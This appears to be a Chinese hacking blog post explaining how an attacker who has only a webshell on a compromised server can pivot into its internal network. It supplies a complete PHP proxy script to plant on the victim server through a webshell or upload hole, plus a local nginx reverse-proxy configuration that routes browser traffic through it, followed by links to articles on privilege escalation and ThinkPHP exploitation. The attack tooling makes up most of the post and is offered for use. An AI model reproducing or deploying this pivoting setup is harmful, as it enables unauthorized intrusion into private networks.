只有webshell，一样可以做 *** ，如何使用脚本程序做 ***
有时候要 *** 进内网，但是服务器没有外网端口，也没法执行命令反弹lcx什么的，也没有提权什么什么的，只有一个webshell，这个时候就比较蛋疼了。
鄙人不才，写了一个比较山寨的php+nginx反向 *** ，可以比较容易的实现这个功能。
架设起来也算是比较方便了。就把这个用webshell也好，上传漏洞也好，甩到对方服务器上。
然后配置一下本地的nginx，做一个反向 *** +rewrite就OK。
先看代码
proxy.php
<?php
if(!isset($_GET['url'])){
exit(0);
}
$ch = curl_init();
$url=$_GET['url'];
if(strstr($url,'?')){
$url.='&';
}
else{
$url.='?';
}
unset($_GET['url']);
foreach($_GET as $Key=>$Val){
if(get_magic_quotes_gpc()){
$Val=stripslashes($Val);
}
$url=$url.'&'.$Key.'='.urlencode($Val);
}
$cookie='';
foreach($_COOKIE as $Key=>$Val){
if(get_magic_quotes_gpc()){
$Val=stripslashes($Val);
}
$cookie=$cookie.$Key.'='.urlencode($Val).'; ';
}
if($_SERVER['REQUEST_METHOD']=="POST"){
curl_setopt($ch, CURLOPT_POST, 1);
$post_data='';
foreach($_POST as $Key=>$Val){
if(get_magic_quotes_gpc()){
$Val=stripslashes($Val);
}
$post_data=$post_data.'&'.$Key.'='.urlencode($Val);
}
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
}
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
curl_setopt($ch, CURLOPT_HEADER, TRUE);
curl_setopt($ch, CURLOPT_NOBODY, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
if(isset($_SERVER['HTTP_REFERER'])){
curl_setopt($ch, CURLOPT_REFERER, $_SERVER['HTTP_REFERER']);
}
$Response=curl_exec($ch);
if(!$Response){
curl_close($ch);
exit(0);
}
$HttpStatus=curl_getinfo($ch,CURLINFO_HTTP_CODE);
$Header=substr($Response,0,curl_getinfo($ch, CURLINFO_HEADER_SIZE));
$Body=substr($Response,curl_getinfo($ch, CURLINFO_HEADER_SIZE));
$Headers=split("\r\n",$Header);
foreach($Headers as $ThusHead){
if($ThusHead == 'Transfer-Encoding: chunked' || strstr($ThusHead,'Content-Length')!==false){
continue;
}
header($ThusHead,FALSE);
}
echo $Body;
curl_close($ch);
?>
代码很简单，也有一些简单的小bug，不知各位看官看出来没有，我也懒得去修改了。
另外就是:
1. 这个 *** 只支持基本的GET/POST并不支持上传文件，有兴趣的可以自己看看，搞搞，搞完发出来，造福大家
2. 这个 *** 在转发post请求的时候，用的并不是www-url-encode，所以，也许会有的程序识别不正常
然后在本地的nginx里面新加一个配置
# proxy webshell
server {
listen 这里写监听端口;
location ~ () {
proxy_pass http://webshell的IP/文件/存放/目录/proxy.php?url=http://$host/$request_uri;
proxy_set_header Host "访问webshell用域名";
}
}
然后重新加载一下nginx配置，配置浏览器使用nginx监听的端口做为 *** ，就可以使了。
给个效果图。
相关文章
网络服务器是啥系统软件?实际叫什么?及其是多少位几核
1、提权的定义：将系统软件管理权限提高到root、 system 或是 administrator。 2、在网上提权的界定：取得网络服务器管理权限，而且取得成功登录网络服务器。 可是，...
Kismet是完全免费的吗?
什么叫Kismet？ Kismet是802.11无线网络的排序嗅探器，互联网探测器和入侵防御系统系统软件。该专用工具将与适用初始监控器方式的别的无线卡一起应用，而且还能够网络嗅探802.11a，80...
Thinkphp框架任意代码执行漏洞利用及修复
ThinkPHP是一个开源的PHP框架， 是为了简化企业级应用开发和敏捷WEB应用开发而诞生的。最早诞生于2006年初，原名FCS，2007年元旦正式更名为ThinkPHP，并且遵循 Apache...
大家第一季的网络黑客渗入基础教程
大家第一季的网络黑客渗入基础教程主要解读了端口扫描器，找寻端口号系统漏洞，并运用了2020年才出的CVE-2017-7269系统漏洞开展了一次实战演练检测。 大家第二季而言最时兴的We...
Nexpose免费下载
近期在科学研究Metasploit，发觉Metasploit集成化了Nexpose，因为在网上各种各样材料很乱，我是搜索了很长期才历经分类整理共享给大伙儿； Rapid7 Nexpos...
WinDbg可用以调节核心方式运行内存转储
什么叫WinDbg？ WinDbg，像OllyDbg，是由Microsoft派发的Microsoft Windows多功能程序调试。该黑客工具可用以调节客户方式程序运行，驱动软件和电脑操作系统自身，...
Copyright Your WebSite.Some Rights Reserved.
免责声明:本站所发布的任何网站，全部来源于互联网，版权争议与本站无关。仅供技术交流，如有侵权或不合适，请联系本人进行删除。不允许做任何非法用途！